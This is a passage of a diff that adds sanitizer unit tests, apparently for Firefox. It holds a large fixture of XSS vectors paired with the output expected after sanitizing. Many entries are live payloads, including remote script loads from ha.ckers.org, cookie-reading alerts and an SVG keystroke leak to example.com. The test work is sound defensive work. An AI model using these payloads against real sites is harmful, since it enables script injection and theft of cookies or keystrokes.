+    data: '<span class=foo>Some text</span>\n<a class=bar href="http://www.example.org">www.example.org</a>\n\n<script src="http://code.jquery.com/jquery-1.4.4.js"></script>\n<script>\n$("span.foo").click(function() {\nalert(\'foo\');\n$("a.bar").click();\n});\n$("a.bar").click(function() {\nalert(\'bar\');\nlocation="http://html5sec.org";\n});\n</script>',
+    sanitized:
+      '<html><head></head><body><span class="foo">Some text</span>\n<a class="bar" href="http://www.example.org">www.example.org</a>\n\n\n</body></html>',
+  },
+  {
+    data: '<script src="/\\example.com\\foo.js"></script> // Safari 5.0, Chrome 9, 10\n<script src="\\\\example.com\\foo.js"></script> // Safari 5.0',
+    sanitized:
+      "<html><head> </head><body>// Safari 5.0, Chrome 9, 10\n // Safari 5.0</body></html>",
+  },
+  {
+    data: '<?xml version="1.0"?>\r\n<?xml-stylesheet type="text/xml" href="#stylesheet"?>\r\n<!DOCTYPE doc [\r\n<!ATTLIST xsl:stylesheet\r\n  id    ID    #REQUIRED>]>\r\n<svg xmlns="http://www.w3.org/2000/svg">\r\n    <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">\r\n        <xsl:template match="/">\r\n            <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(1)"></iframe>\r\n        </xsl:template>\r\n    </xsl:stylesheet>\r\n    <circle fill="red" r="40"></circle>\r\n</svg>',
+    sanitized:
+      "<!DOCTYPE doc>\n<html><head></head><body>]&gt;\n\n    \n        \n            \n        \n    \n    \n</body></html>",
+  },
+  {
+    data: '<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object>\r\n<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>',
+    sanitized: "<html><head></head><body>\n</body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg" id="x">\r\n<listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/>\r\n<handler id="y">alert(1)</handler>\r\n</svg>',
+    sanitized: "<html><head></head><body>\n\nalert(1)\n</body></html>",
+  },
+  {
+    data: "<svg><style>&lt;img/src=x onerror=alert(1)// </b>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<svg>\n<image style='filter:url(\"data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>\")'>\n<!--\nSame effect with\n<image filter='...'>\n-->\n</svg>",
+    sanitized: "<html><head></head><body>\n\n\n</body></html>",
+  },
+  {
+    data: '<math href="javascript:alert(1)">CLICKME</math>\r\n\r\n<math>\r\n<!-- up to FF 13 -->\r\n<maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction>\r\n\r\n<!-- FF 14+ -->\r\n<maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction>\r\n</math>',
+    sanitized:
+      '<html><head></head><body><math>CLICKME</math>\n\n<math>\n\n<maction actiontype="statusline#http://google.com">CLICKME</maction>\n\n\n<maction actiontype="statusline">CLICKME<mtext>http://http://google.com</mtext></maction>\n</math></body></html>',
+  },
+  {
+    data: "<b>drag and drop one of the following strings to the drop box:</b>\r\n<br/><hr/>\r\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\nfeed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b>\r\n<br/><hr/>\r\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\n<div id=\"dropbox\" style=\"height: 360px;width: 500px;border: 5px solid #000;position: relative;\" ondragover=\"event.preventDefault()\">+ Drop Box +</div>",
+    sanitized:
+      "<html><head></head><body><b>drag and drop one of the following strings to the drop box:</b>\n<br><hr>\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:data:text/html,&lt;script&gt;alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&lt;/script&gt;&lt;b&gt;\n<br><hr>\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\n<div id=\"dropbox\">+ Drop Box +</div></body></html>",
+  },
+  {
+    data: '<!doctype html>\r\n<form>\r\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\r\n<br>\r\n<input name="secret" type="password">\r\n</form>\r\n<!-- injection --><svg height="50px">\r\n<image xmlns:xlink="http://www.w3.org/1999/xlink">\r\n<set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" />\r\n<set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" />\r\n<set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" />\r\n<set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" />\r\n</image>\r\n</svg>',
+    sanitized:
+      "<!DOCTYPE html>\n<html><head></head><body>\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\n<br>\n\n\n\n\n\n\n\n\n\n</body></html>",
+  },
+  {
+    data: "<!-- `<img/src=xx:xx onerror=alert(1)//--!>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<xmp>\r\n<%\r\n</xmp>\r\n<img alt='%></xmp><img src=xx:x onerror=alert(1)//'>\r\n\r\n<script>\r\nx='<%'\r\n</script> %>/\r\nalert(2)\r\n</script>\r\n\r\nXXX\r\n<style>\r\n*['<!--']{}\r\n</style>\r\n-->{}\r\n*{color:red}</style>",
+    sanitized:
+      '<html><head></head><body>\n&lt;%\n\n<img alt="%&gt;&lt;/xmp&gt;&lt;img src=xx:x onerror=alert(1)//">\n\n %&gt;/\nalert(2)\n\n\nXXX\n\n--&gt;{}\n*{color:red}</body></html>',
+  },
+  {
+    data: '<form action="" method="post">\r\n<input name="username" value="admin" />\r\n<input name="password" type="password" value="secret" />\r\n<input name="injected" value="injected" dirname="password" />\r\n<input type="submit">\r\n</form>',
+    sanitized: "<html><head></head><body>\n\n\n\n\n</body></html>",
+  },
+  {
+    data: "<SCRIPT>alert('XSS');</SCRIPT>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "'';!--\"<XSS>=&{()}",
+    sanitized: "<html><head></head><body>'';!--\"=&amp;{()}</body></html>",
+  },
+  {
+    data: "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"javascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=javascript:alert('XSS')>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=JaVaScRiPt:alert('XSS')>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=javascript:alert(&quot;XSS&quot;)>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>",
+    sanitized: "<html><head></head><body>SRC=\n<img></body></html>",
+  },
+  {
+    data: "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"javascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=\" &#14;  javascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"javascript:alert('XSS')\"",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<SCRIPT>a=/XSS/",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "\\\";alert('XSS');//",
+    sanitized: "<html><head></head><body>\\\";alert('XSS');//</body></html>",
+  },
+  {
+    data: '<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<BODY BACKGROUND=\"javascript:alert('XSS')\">",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<BODY ONLOAD=alert('XSS')>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IMG DYNSRC=\"javascript:alert('XSS')\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG LOWSRC=\"javascript:alert('XSS')\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<BGSOUND SRC=\"javascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<BR SIZE=\"&{alert('XSS')}\">",
+    sanitized: "<html><head></head><body><br></body></html>",
+  },
+  {
+    data: '<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IMG SRC='vbscript:msgbox(\"XSS\")'>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<IMG SRC="mocha:[code]">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<IMG SRC="livescript:[code]">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="Link" Content="<javascript:alert(\'XSS\')>; REL=stylesheet">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
+    sanitized: "<html><head></head></html>",
+  },
+  {
+    data: "<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
+    sanitized: "<html><head></head><body><table></table></body></html>",
+  },
+  {
+    data: "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
+    sanitized: "<html><head></head><body><div></div></body></html>",
+  },
+  {
+    data: "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">",
+    sanitized: "<html><head></head><body><div></div></body></html>",
+  },
+  {
+    data: "<DIV STYLE=\"width: expression(alert('XSS'));\">",
+    sanitized: "<html><head></head><body><div></div></body></html>",
+  },
+  {
+    data: "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<XSS STYLE=\"xss:expression(alert('XSS'))\">",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: 'exp/*<XSS STYLE=\'no\\xss:noxss("*//*");',
+    sanitized: "<html><head></head><body>exp/*</body></html>",
+  },
+  {
+    data: "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>",
+    sanitized: '<html><head></head><body><a class="XSS"></a></body></html>',
+  },
+  {
+    data: '<STYLE type="text/css">BODY{background:url("javascript:alert(\'XSS\')")}</STYLE>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<BASE HREF=\"javascript:alert('XSS');//\">",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "getURL(\"javascript:alert('XSS')\")",
+    sanitized:
+      "<html><head></head><body>getURL(\"javascript:alert('XSS')\")</body></html>",
+  },
+  {
+    data: 'a="get";',
+    sanitized: '<html><head></head><body>a="get";</body></html>',
+  },
+  {
+    data: "<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas<![CDATA[cript:alert('XSS');\">",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<HTML><BODY>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<!--#exec cmd=\"/bin/echo '<SCRIPT SRC'\"--><!--#exec cmd=\"/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'\"-->",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<? echo('<SCR)';",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert(\'XSS\')&lt;/SCRIPT&gt;">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-',
+    sanitized:
+      "<html><head> </head><body>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</body></html>",
+  },
+  {
+    data: '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<SCRIPT a=">" \'\' SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<SCRIPT "a=\'>\'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC',
+    sanitized: "<html><head></head><body>PT SRC</body></html>",
+  },
+  {
+    data: "",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<dialog>allowed</dialog>",
+    sanitized:
+      "<html><head></head><body><dialog>allowed</dialog></body></html>",
+  },
+  {
+    data: "<main>allowed</main>",
+    sanitized: "<html><head></head><body><main>allowed</main></body></html>",
+  },
+  {
+    data: "<picture>allowed</picture>",
+    sanitized:
+      "<html><head></head><body><picture>allowed</picture></body></html>",
+  },
+  {
+    data: "<template>allowed</template>",
+    sanitized:
+      "<html><head><template>allowed</template></head><body></body></html>",
+  },
+  {
+    // traverse into HTML template elements
+    data: '<template><img src="x" onerror="alert(1)"></template>',
+    sanitized:
+      "<html><head><template><img></template></head><body></body></html>",
+  },
+  {
+    // do not traverse into SVG template elements (that's not a thing)
+    data: "<svg><template></template></svg>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<svg><use href='http://example.com/test.svg'></svg>",
+    flags: 1, // ParserUtils.SanitizerAllowStyle
+    sanitized: "<html><head></head><body><svg><use></use></svg></body></html>",
+  },
+  {
+    // fragments that reference the same document are allowed.
+    data: "<svg><use href='#x'></svg>",
+    flags: 1, // ParserUtils.SanitizerAllowStyle
+    sanitized:
+      '<html><head></head><body><svg><use href="#x"></use></svg></body></html>',
+  },
+  {
+    data: '<svg><use xlink:href="http://example/#baz"/></svg>',
+    flags: 1, // ParserUtils.SanitizerAllowStyl,
+    sanitized: "<html><head></head><body><svg><use></use></svg></body></html>",
+  },
+];
diff --git a/parser/xml/test/unit/test_sanitizer.js b/parser/xml/test/unit/test_sanitizer.js
new file mode 100644
index 0000000000..814940578d
--- /dev/null
+++ b/parser/xml/test/unit/test_sanitizer.js
@@ -0,0 +1,53 @@
+const { AppConstants } = ChromeUtils.importESModule(
+  "resource://gre/modules/AppConstants.sys.mjs"
+);
+if (AppConstants.platform != "android") {
+  // We load HTML documents, which try to track link state, which requires
+  // the history service, which requires a profile.
+  do_get_profile();
+}
+
+function run_test() {
+  // vectors by the html5security project (https://code.google.com/p/html5security/ & Creative Commons 3.0 BY), see CC-BY-LICENSE for the full license
+  load("results.js"); // gives us a `vectors' array
+  /* import-globals-from ./results.js */
+
+  if (AppConstants.platform != "android") {
+    // xpcshell tests are weird. They fake shutdown after the test finishes. This upsets this test
+    // because it will try to create the history service to check for visited state on the links
+    // we're parsing.
+    // Creating the history service midway through shutdown breaks.
+    // We can't catch this in the history component because we're not *actually* shutting down,
+    // and so the app startup's service's `shuttingDown` bool is false, even though normally that
+    // is set to true *before* profile-change-teardown notifications are fired.
+    // To work around this, just force the history service to be created earlier:
+
+    let { PlacesUtils } = ChromeUtils.importESModule(
+      "resource://gre/modules/PlacesUtils.sys.mjs"
+    );
+    Assert.ok(
+      PlacesUtils.history.databaseStatus <= 1,
+      "ensure places database is successfully initialized."
+    );
+  }
+
+  var ParserUtils = Cc["@mozilla.org/parserutils;1"].getService(
+    Ci.nsIParserUtils
+  );
+  var sanitizeFlags =
+    ParserUtils.SanitizerCidEmbedsOnly |
+    ParserUtils.SanitizerDropForms |
+    ParserUtils.SanitizerDropNonCSSPresentation;
+  // flags according to
+  // http://mxr.mozilla.org/comm-central/source/mailnews/mime/src/mimemoz2.cpp#2218
+  // and default settings
+
+  for (var item in vectors) {
+    let { data, sanitized, flags } = vectors[item];
+    if (!flags) {
+      flags = sanitizeFlags;
+    }
+    var out = ParserUtils.sanitize(data, flags);
+    Assert.equal(sanitized, out);
+  }
+}
diff --git a/parser/xml/test/unit/test_sanitizer_style.js b/parser/xml/test/unit/test_sanitizer_style.js
new file mode 100644
index 0000000000..6f00295cda
--- /dev/null
+++ b/parser/xml/test/unit/test_sanitizer_style.js
@@ -0,0 +1,125 @@
+const { AppConstants } = ChromeUtils.importESModule(
+  "resource://gre/modules/AppConstants.sys.mjs"
+);
+
+if (AppConstants.platform != "android") {
+  // We load HTML documents, which try to track link state, which requires
+  // the history service, which requires a profile.
+  do_get_profile();
+}
+
+const kTestCases = [
+  {
+    // bug 1602843
+    data: `@font-face { font-family: 'ab<\\/style><img src onerror=alert(1)>'}`,
+    sanitized: `@font-face { font-family: 'ab<\\/style><img src onerror=alert(1)>'}`,
+  },
+  {
+    // bug 1680084
+    data: `<!--
+/* Font Definitions */
+@font-face
+       {font-family:"Cambria Math";
+       panose-1:2 4 5 3 5 4 6 3 2 4;}
+@font-face
+       {font-family:"Yu Gothic";
+       panose-1:2 11 4 0 0 0 0 0 0 0;}
+@font-face
+       {font-family:"Yu Gothic";
+       panose-1:2 11 4 0 0 0 0 0 0 0;}
+/* Style Definitions */
+p.MsoNormal, li.MsoNormal, div.MsoNormal
+       {margin:0mm;
+       text-align:justify;
+       text-justify:inter-ideograph;
+       font-size:10.5pt;
+       font-family:"Yu Gothic";}
+span.17
+       {mso-style-type:personal-compose;
+       font-family:"Yu Gothic";
+       color:windowtext;}
+.MsoChpDefault
+       {mso-style-type:export-only;
+       font-family:"Yu Gothic";}
+/* Page Definitions */
+@page WordSection1
+       {size:612.0pt 792.0pt;
+       margin:99.25pt 30.0mm 30.0mm 30.0mm;}
+div.WordSection1
+       {page:WordSection1}
+-->`,
+    sanitized: `@font-face
+       {font-family:"Cambria Math";
+       panose-1:2 4 5 3 5 4 6 3 2 4;}@font-face
+       {font-family:"Yu Gothic";
+       panose-1:2 11 4 0 0 0 0 0 0 0;}@font-face
+       {font-family:"Yu Gothic";
+       panose-1:2 11 4 0 0 0 0 0 0 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
+       {margin:0mm;
+       text-align:justify;
+       text-justify:inter-ideograph;
+       font-size:10.5pt;
+       font-family:"Yu Gothic";}.MsoChpDefault
+       {mso-style-type:export-only;
+       font-family:"Yu Gothic";}div.WordSection1
+       {page:WordSection1}`,
+  },
+];
+
+const kConditionalCSSTestCases = [
+  {
+    data: `#foo { display: none } @media (min-width: 300px) { #bar { display: none } }`,
+    sanitized: `#foo { display: none }`,
+  },
+  {
+    data: `@media (min-width: 300px) { #bar { display: none } }`,
+    sanitized: ``,
+  },
+];
+
+function run_test() {
+  if (AppConstants.platform != "android") {
+    // xpcshell tests are weird. They fake shutdown after the test finishes. This upsets this test
+    // because it will try to create the history service to check for visited state on the links
+    // we're parsing.
+    // Creating the history service midway through shutdown breaks.
+    // We can't catch this in the history component because we're not *actually* shutting down,
+    // and so the app startup's service's `shuttingDown` bool is false, even though normally that
+    // is set to true *before* profile-change-teardown notifications are fired.
+    // To work around this, just force the history service to be created earlier:
+
+    let { PlacesUtils } = ChromeUtils.importESModule(
+      "resource://gre/modules/PlacesUtils.sys.mjs"
+    );
+    Assert.ok(
+      PlacesUtils.history.databaseStatus <= 1,
+      "ensure places database is successfully initialized."
+    );
+  }
+
+  var ParserUtils = Cc["@mozilla.org/parserutils;1"].getService(
+    Ci.nsIParserUtils
+  );
+  var sanitizeFlags =
+    ParserUtils.SanitizerDropForms |
+    ParserUtils.SanitizerDropNonCSSPresentation |
+    ParserUtils.SanitizerAllowStyle;
+
+  for (let { data, sanitized } of kTestCases) {
+    let out = ParserUtils.sanitize(`<style>${data}</style>`, sanitizeFlags);
+    info(out);
+    Assert.equal(
+      `<html><head><style>${sanitized}</style></head><body></body></html>`,
+      out
+    );
+  }
+
+  for (let { data, sanitized } of kConditionalCSSTestCases) {
+    let out = ParserUtils.removeConditionalCSS(`<style>${data}</style>`);
+    info(out);
+    Assert.equal(
+      `<html><head><style>${sanitized}</style></head><body></body></html>`,
+      out
+    );
+  }
+}
diff --git a/parser/xml/test/unit/xpcshell.ini b/parser/xml/test/unit/xpcshell.ini
new file mode 100644
index 0000000000..4ae9918864
--- /dev/null
+++ b/parser/xml/test/unit/xpcshell.ini
@@ -0,0 +1,6 @@
+[DEFAULT]
+head =
+support-files = results.js
+
+[test_sanitizer.js]
+[test_sanitizer_style.js]